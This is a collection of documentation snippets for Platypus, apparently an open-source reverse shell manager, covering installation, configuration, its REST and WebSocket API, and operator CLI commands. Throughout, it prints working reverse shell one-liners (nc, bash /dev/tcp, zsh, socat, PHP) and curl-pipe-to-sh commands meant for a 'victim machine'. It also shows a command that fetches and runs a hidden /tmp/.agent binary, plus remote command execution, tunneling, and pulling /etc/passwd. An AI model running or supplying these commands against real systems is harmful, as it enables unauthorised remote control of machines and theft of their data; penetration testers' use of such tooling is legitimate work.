### Install Project Dependencies (Yarn) Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/README.md Installs all necessary project dependencies using Yarn. This is typically the first step before running any other commands. ```bash yarn ``` -------------------------------- ### Install Dependencies (Bash) Source: https://github.com/wangyihang/platypus/blob/main/README.md Installs necessary dependencies for running Platypus from source code, including make and curl, and then proceeds to install Platypus itself. ```bash sudo apt install upx git clone https://github.com/WangYihang/Platypus cd Platypus sudo apt install -y make curl make install_dependency make release ``` -------------------------------- ### Basic Reverse Shell Commands (Bash) Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/user-guide/basic/raas.md Demonstrates common, but often restricted, methods for establishing a reverse shell connection using tools like netcat, bash, zsh, and socat. These examples are provided as 'BAD' examples due to potential character stripping. ```bash nc -e /bin/bash 192.168.174.132 8080 ``` ```bash bash -c 'bash -i >/dev/tcp/192.168.174.132/8080 0>&1' ``` ```zsh zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.174.132 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' ``` ```bash socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.132:8080 ``` -------------------------------- ### POST /api/server Source: https://context7.com/wangyihang/platypus/llms.txt Create and start a new reverse shell listening server. ```APIDOC ## POST /api/server ### Description Starts a new reverse shell listener with the provided configuration. ### Method POST ### Endpoint /api/server ### Parameters #### Request Body - **host** (string) - Required - Binding host (e.g., 0.0.0.0). - **port** (integer) - Required - Listening port. - **encrypted** (boolean) - Required - Whether to use encryption. ### Response #### Success Response (200) - **status** (boolean) - Request status. - **msg** (object) - Server configuration including the generated hash. #### Response Example { "status": true, "msg": { "host": "0.0.0.0", "port": 13340, "hash": "newserverhash...", "encrypted": false } } ``` -------------------------------- ### Start Local Development Server (Yarn) Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/README.md Starts a local development server for the Docusaurus website. Changes are reflected live without needing to restart the server. ```bash yarn start ``` -------------------------------- ### Platypus RaaS: Add New Language Template (PHP Example) Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/user-guide/basic/raas.md Shows how to add support for a new programming language by defining a template. The template uses placeholders '__HOST__' and '__PORT__' which Platypus will replace with the actual target IP and port. This example provides a PHP snippet. ```php php -r '$sock=fsockopen("__HOST__",__PORT__,30);if($sock){while(!feof($sock)){echo fread($sock,4096);if(fwrite($sock,fgets(STDIN,4096)))}}fclose($sock);' ``` -------------------------------- ### Interactive Shell and Notifications via WebSockets Source: https://context7.com/wangyihang/platypus/llms.txt JavaScript examples for establishing interactive shell sessions and subscribing to real-time system events. ```javascript const ws = new WebSocket('ws://127.0.0.1:7331/ws/d2958c94f5425eb709fb5c8690128268', ['tty']); ws.onopen = () => { ws.send(new Uint8Array([0x30, ...new TextEncoder().encode('whoami\n')])); }; ws.onmessage = (event) => { const data = new Uint8Array(event.data); console.log(data); }; const notifyWs = new WebSocket('ws://127.0.0.1:7331/notify'); notifyWs.onmessage = (event) => { console.log('Event:', JSON.parse(event.data)); }; ``` -------------------------------- ### Platypus Configuration (YAML) Source: https://github.com/wangyihang/platypus/blob/main/README.md An example configuration file for Platypus, defining reverse shell server ports, hash formats for client identification, and RESTful API settings. ```yaml servers: - host: "0.0.0.0" port: 13337 # Platypus is able to use several properties as unique identifier (primirary key) of a single client. # All available properties are listed below: # `%i` IP # `%u` Username # `%m` MAC address # `%o` Operating System # `%t` Income TimeStamp hashFormat: "%i %u %m %o" - host: "0.0.0.0" port: 13338 # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC. hashFormat: "%i %u %m %o %t" restful: host: "127.0.0.1" port: 7331 enable: true # Check new releases from GitHub when starting Platypus update: false ``` -------------------------------- ### Docker Compose Execution (Bash) Source: https://github.com/wangyihang/platypus/blob/main/README.md Demonstrates how to run Platypus using Docker Compose. It includes commands to start the services in detached mode and access the Platypus CLI or Web UI. ```bash docker-compose up -d # Method 1: enter the cli of platypus docker-compose exec app tmux a -t platypus # Method 2: enter the web ui of platypus firefox http://127.0.0.1:7331/ ``` -------------------------------- ### GET /api/server Source: https://context7.com/wangyihang/platypus/llms.txt Retrieve a list of all active servers, their configurations, and distributor information. ```APIDOC ## GET /api/server ### Description Retrieve all listening servers and their configurations along with the distributor information. ### Method GET ### Endpoint /api/server ### Response #### Success Response (200) - **status** (boolean) - Request success status - **msg** (object) - Contains servers map and distributor details #### Response Example { "status": true, "msg": { "servers": { "a1b2c3d4...": { "host": "0.0.0.0", "port": 13337, "hash": "a1b2c3d4...", "encrypted": true } }, "distributor": { "host": "0.0.0.0", "port": 13339, "url": "http://127.0.0.1:13339" } } } ``` -------------------------------- ### Platypus RaaS: Basic Reverse Shell Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/user-guide/basic/raas.md Quick start guide for using Platypus's Reverse Shell as a Service. This involves starting Platypus to listen on a port and then executing a curl command on the victim machine to initiate a reverse shell back to the Platypus listener. ```bash curl http://1.2.3.4:13337 | sh ``` -------------------------------- ### Reverse Shell Command Execution (Bash) Source: https://github.com/wangyihang/platypus/blob/main/README.md Examples of using curl to execute a reverse shell command on a victim machine, leveraging Platypus's RaaS (Reverse Shell as a Service) feature. ```bash curl http://127.0.0.1:13337/|sh curl http://192.168.88.129:13337/|sh ``` -------------------------------- ### Manage Reverse Shell Sessions via CLI Source: https://context7.com/wangyihang/platypus/llms.txt Platypus CLI commands allow users to start listeners, list active connections, switch between targets, and manage interactive sessions. These commands facilitate efficient navigation and control of remote clients. ```bash # Start a new reverse shell listener » Run 0.0.0.0 13339 # List all active servers and clients » List # Select a target client » Jump d2958c # Start an interactive shell session » Interact # Upgrade to full PTY mode » PTY # Assign an alias to a client » Alias webserver ``` -------------------------------- ### Manage Platypus via CLI Source: https://context7.com/wangyihang/platypus/llms.txt Commands to start the Platypus service in detached mode and access the interactive terminal session via tmux within the running container. ```bash # Start Platypus with Docker Compose docker-compose up -d # Access CLI via tmux session docker-compose exec app tmux a -t platypus # Access Web UI firefox http://127.0.0.1:7331/ ``` -------------------------------- ### GET /api/server/:hash Source: https://context7.com/wangyihang/platypus/llms.txt Retrieve detailed information about a specific server instance using its unique hash. ```APIDOC ## GET /api/server/:hash ### Description Retrieve details about a specific server by its hash identifier. ### Method GET ### Endpoint /api/server/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier for the server ### Response #### Success Response (200) - **status** (boolean) - Request success status - **msg** (object) - Server configuration details #### Response Example { "status": true, "msg": { "host": "0.0.0.0", "port": 13337, "hash": "a1b2c3d4e5f6...", "encrypted": true, "hashFormat": "%i %u %m %o" } } ``` -------------------------------- ### GET /api/server/:hash/client Source: https://context7.com/wangyihang/platypus/llms.txt Retrieve a list of all clients connected to a specific server instance. ```APIDOC ## GET /api/server/:hash/client ### Description Fetches all clients associated with a specific server hash. ### Method GET ### Endpoint /api/server/:hash/client ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the server. ### Response #### Success Response (200) - **status** (boolean) - Request status. - **msg** (object) - Map of client hashes to client details. #### Response Example { "status": true, "msg": { "d2958c94f5425eb709fb5c8690128268": { "host": "192.168.88.130", "port": 45678, "os": "Linux", "user": "www-data" } } } ``` -------------------------------- ### Platypus RaaS: Specify Reverse Shell Language Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/user-guide/basic/raas.md Demonstrates how to specify the programming language for the reverse shell command when using Platypus RaaS. The example uses 'python' as the desired language, which will be fetched and executed. ```bash curl http://1.2.3.4:13337/python | sh ``` -------------------------------- ### Deploy Website (Yarn) Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/README.md Deploys the static website. Supports deployment using SSH or by specifying a GitHub username for GitHub Pages hosting. This command builds the site and pushes to the 'gh-pages' branch. ```bash USE_SSH=true yarn deploy ``` ```bash GIT_USER= yarn deploy ``` -------------------------------- ### Build Static Website Content (Yarn) Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/README.md Generates the static content for the website into the 'build' directory. This output can be hosted on any static content hosting service. ```bash yarn build ``` -------------------------------- ### Client Management and Command Execution Source: https://context7.com/wangyihang/platypus/llms.txt Gather system metadata from connected clients and execute arbitrary system commands remotely. ```bash # Gather client info Gather d2958c94f5425eb709fb5c8690128268 # Execute remote command Jump d2958c94f5425eb709fb5c8690128268 Command whoami ``` -------------------------------- ### Manage Servers via REST API Source: https://context7.com/wangyihang/platypus/llms.txt Operations to list clients for a specific server, create new listening servers, and stop existing servers. ```bash curl -X GET http://127.0.0.1:7331/api/server/a1b2c3d4e5f6/client curl -X POST http://127.0.0.1:7331/api/server -d "host=0.0.0.0" -d "port=13340" -d "encrypted=false" curl -X DELETE http://127.0.0.1:7331/api/server/a1b2c3d4e5f6 ``` -------------------------------- ### Platypus: Embedding Templates with go-bindata Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/user-guide/basic/raas.md Command to embed template files into the Platypus binary using go-bindata. This process packages the configuration and RaaS templates as assets within the application, making them accessible at runtime. ```bash go get -u github.com/go-bindata/go-bindata/... go-bindata -pkg assets -o ./internal/util/assets/assets.go ./assets/config.example.yml ./assets/template/rsh/... ./web/ttyd/dist/... ./web/frontend/build/... ./build/termite/... ``` -------------------------------- ### POST /api/client/:hash Source: https://context7.com/wangyihang/platypus/llms.txt Execute a shell command on a specific connected client. ```APIDOC ## POST /api/client/:hash ### Description Executes a system command on the target client and returns the output. ### Method POST ### Endpoint /api/client/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the client. #### Request Body - **cmd** (string) - Required - The command to execute. ### Response #### Success Response (200) - **status** (boolean) - Request status. - **msg** (string) - The command output. #### Response Example { "status": true, "msg": "www-data\n" } ``` -------------------------------- ### Deploy Platypus with Docker Compose Source: https://context7.com/wangyihang/platypus/llms.txt Configuration file to define the Platypus service, mapping ports for reverse shells, the Termite distributor, and the RESTful API/Web UI. It also mounts a local configuration file and sets the restart policy. ```yaml version: '3' services: platypus: build: . ports: - "13337:13337" - "13338:13338" - "13339:13339" - "7331:7331" volumes: - ./config.yml:/app/config.yml restart: unless-stopped ``` -------------------------------- ### Server Management API Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/dev-guide/design/RESTful.md Endpoints for listing, creating, and deleting reverse shell servers. ```APIDOC ## GET /server ### Description Lists all listening servers and their related clients. ### Method GET ### Endpoint /server ### Parameters None ### Request Example None ### Response #### Success Response (200) - **servers** (array) - A list of server objects. - **hash** (string) - The unique identifier for the server. - **host** (string) - The host the server is listening on. - **port** (integer) - The port the server is listening on. - **clients** (array) - A list of client hashes connected to this server. #### Response Example { "servers": [ { "hash": "a1b2c3d4e5f6", "host": "0.0.0.0", "port": 4444, "clients": ["f6e5d4c3b2a1"] } ] } ## GET /server/:hash ### Description Lists a specific server by its hash. ### Method GET ### Endpoint /server/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the server. ### Request Example None ### Response #### Success Response (200) - **hash** (string) - The unique identifier for the server. - **host** (string) - The host the server is listening on. - **port** (integer) - The port the server is listening on. - **clients** (array) - A list of client hashes connected to this server. #### Response Example { "hash": "a1b2c3d4e5f6", "host": "0.0.0.0", "port": 4444, "clients": ["f6e5d4c3b2a1"] } ## GET /server/:hash/client ### Description Lists all clients connected to a specific server. ### Method GET ### Endpoint /server/:hash/client ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the server. ### Request Example None ### Response #### Success Response (200) - **clients** (array) - A list of client objects connected to the server. - **hash** (string) - The unique identifier for the client. - **ip** (string) - The IP address of the client. - **os** (string) - The operating system of the client. - **hostname** (string) - The hostname of the client. #### Response Example { "clients": [ { "hash": "f6e5d4c3b2a1", "ip": "192.168.1.100", "os": "Linux", "hostname": "client-linux" } ] } ## POST /server ### Description Creates a new reverse shell server. ### Method POST ### Endpoint /server ### Parameters #### Request Body - **host** (string) - Required - The host the server should listen on (e.g., "0.0.0.0"). - **port** (integer) - Required - The port the server should listen on (e.g., 4444). ### Request Example { "host": "0.0.0.0", "port": 4444 } ### Response #### Success Response (200) - **message** (string) - Confirmation message. - **server_hash** (string) - The hash of the newly created server. #### Response Example { "message": "Server created successfully.", "server_hash": "new_server_hash_123" } ## DELETE /server/:hash ### Description Stops and removes a specific reverse shell server. ### Method DELETE ### Endpoint /server/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the server to stop. ### Request Example None ### Response #### Success Response (200) - **message** (string) - Confirmation message. #### Response Example { "message": "Server stopped and removed successfully." } ``` -------------------------------- ### RESTful API Server Interaction Source: https://context7.com/wangyihang/platypus/llms.txt Interact with the Platypus REST API to list servers, retrieve server details, and manage client connections programmatically. ```bash # Start API server REST 127.0.0.1 7331 # List all servers curl -X GET http://127.0.0.1:7331/api/server # Get specific server details curl -X GET http://127.0.0.1:7331/api/server/a1b2c3d4e5f6 ``` -------------------------------- ### WebSocket /ws/:hash Source: https://context7.com/wangyihang/platypus/llms.txt Establish an interactive shell session via WebSocket. ```APIDOC ## WebSocket /ws/:hash ### Description Connect to a client's interactive shell for real-time terminal interaction. ### Method WebSocket ### Endpoint /ws/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the client. ### Protocol - **Opcode 0 (INPUT/OUTPUT)**: Used for sending commands and receiving output. - **Opcode 1 (RESIZE)**: Used for sending terminal resize events (JSON payload). - **Opcode 2 (PREFERENCES)**: Used for session preferences. ``` -------------------------------- ### Configure Platypus Server Settings Source: https://context7.com/wangyihang/platypus/llms.txt The YAML configuration file defines server listeners, REST API endpoints, and Termite distribution settings. It allows customization of client identification hashes and shell paths. ```yaml servers: - host: "0.0.0.0" port: 13337 hashFormat: "%i %u %m %o" encrypted: true disable_history: true shell_path: "/bin/bash" restful: host: "0.0.0.0" port: 7331 enable: true ``` -------------------------------- ### Create Interactive Button with JSX Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/blog/2021-08-01-mdx-blog-post.mdx Demonstrates how to embed a functional React button component within an MDX file. The button triggers a browser alert when clicked, showcasing the integration of JavaScript logic in Markdown. ```js ``` -------------------------------- ### Manage Clients via REST API Source: https://context7.com/wangyihang/platypus/llms.txt Operations to list all clients, retrieve specific client details, execute commands on clients, upgrade sessions to Termite, and disconnect clients. ```bash curl -X GET http://127.0.0.1:7331/api/client curl -X GET http://127.0.0.1:7331/api/client/d2958c94f5425eb709fb5c8690128268 curl -X POST http://127.0.0.1:7331/api/client/d2958c94f5425eb709fb5c8690128268 -d "cmd=whoami" curl -X GET http://127.0.0.1:7331/api/client/d2958c94f5425eb709fb5c8690128268/upgrade/192.168.88.129:13337 curl -X DELETE http://127.0.0.1:7331/api/client/d2958c94f5425eb709fb5c8690128268 ``` -------------------------------- ### Client Management API Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/dev-guide/design/RESTful.md Endpoints for listing, viewing, deleting, and executing commands on clients. ```APIDOC ## GET /client ### Description Lists all currently online clients. ### Method GET ### Endpoint /client ### Parameters None ### Request Example None ### Response #### Success Response (200) - **clients** (array) - A list of client objects. - **hash** (string) - The unique identifier for the client. - **ip** (string) - The IP address of the client. - **os** (string) - The operating system of the client. - **hostname** (string) - The hostname of the client. - **server_hash** (string) - The hash of the server this client is connected to. #### Response Example { "clients": [ { "hash": "f6e5d4c3b2a1", "ip": "192.168.1.100", "os": "Linux", "hostname": "client-linux", "server_hash": "a1b2c3d4e5f6" } ] } ## GET /client/:hash ### Description Retrieves details for a specific online client. ### Method GET ### Endpoint /client/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the client. ### Request Example None ### Response #### Success Response (200) - **hash** (string) - The unique identifier for the client. - **ip** (string) - The IP address of the client. - **os** (string) - The operating system of the client. - **hostname** (string) - The hostname of the client. - **server_hash** (string) - The hash of the server this client is connected to. #### Response Example { "hash": "f6e5d4c3b2a1", "ip": "192.168.1.100", "os": "Linux", "hostname": "client-linux", "server_hash": "a1b2c3d4e5f6" } ## DELETE /client/:hash ### Description Deletes a specific client connection. ### Method DELETE ### Endpoint /client/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the client to delete. ### Request Example None ### Response #### Success Response (200) - **message** (string) - Confirmation message. #### Response Example { "message": "Client deleted successfully." } ## POST /client/:hash ### Description Executes a system command on a specific client. ### Method POST ### Endpoint /client/:hash ### Parameters #### Path Parameters - **hash** (string) - Required - The unique identifier of the client to execute the command on. #### Request Body - **cmd** (string) - Required - The system command to execute. ### Request Example { "cmd": "ls -la" } ### Response #### Success Response (200) - **message** (string) - Confirmation message indicating the command was sent. - **output** (string) - The output of the executed command (if any). #### Response Example { "message": "Command executed successfully.", "output": "total 8\n-rw-r--r-- 1 user group 1024 Jan 1 10:00 file1.txt\n-rw-r--r-- 1 user group 1024 Jan 1 10:00 file2.txt" } ``` -------------------------------- ### Reverse Shell as a Service (RaaS) Source: https://context7.com/wangyihang/platypus/llms.txt Generate and execute reverse shell payloads on-the-fly using curl, supporting multiple languages and custom connection parameters. ```bash # Get default bash reverse shell curl http://192.168.88.129:13337 | sh # Specify language payload curl http://192.168.88.129:13337/python | sh # Get Termite agent curl -fsSL http://192.168.88.129:13339/termite/192.168.88.129:13337 -o /tmp/.agent && chmod +x /tmp/.agent && /tmp/.agent ``` -------------------------------- ### Platypus RaaS: Redirect to Custom IP and Port Source: https://github.com/wangyihang/platypus/blob/main/docs/platypus/docs/user-guide/basic/raas.md Illustrates how to redirect the reverse shell to a different IP address and port than the one Platypus is listening on. This is achieved by including the target IP and port in the curl URL, along with the desired language. ```bash curl http://1.2.3.4:13337/5.6.7.8/7331/python | sh ``` -------------------------------- ### Session Upgrade and Tunneling Source: https://context7.com/wangyihang/platypus/llms.txt Upgrade standard reverse shells to encrypted Termite sessions and establish network tunnels including Pull, Push, and SOCKS5 proxies. ```bash # Upgrade to Termite Jump d2958c94f5425eb709fb5c8690128268 Upgrade 192.168.88.129:13337 # Create network tunnels Jump 134dd4cad7b110a021d46bd9dfe68d62 Tunnel Create Pull 192.168.1.1 80 127.0.0.1 8080 Tunnel Create Dynamic 0.0.0.0 0 0.0.0.0 0 ``` -------------------------------- ### File Transfer Operations Source: https://context7.com/wangyihang/platypus/llms.txt Commands to download files from a remote client or upload local files to a remote client with progress tracking. ```bash # Download remote file to local path Download /etc/passwd ./passwd_backup # Upload local file to remote path Jump d2958c94f5425eb709fb5c8690128268 Upload ./exploit.sh /tmp/exploit.sh ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.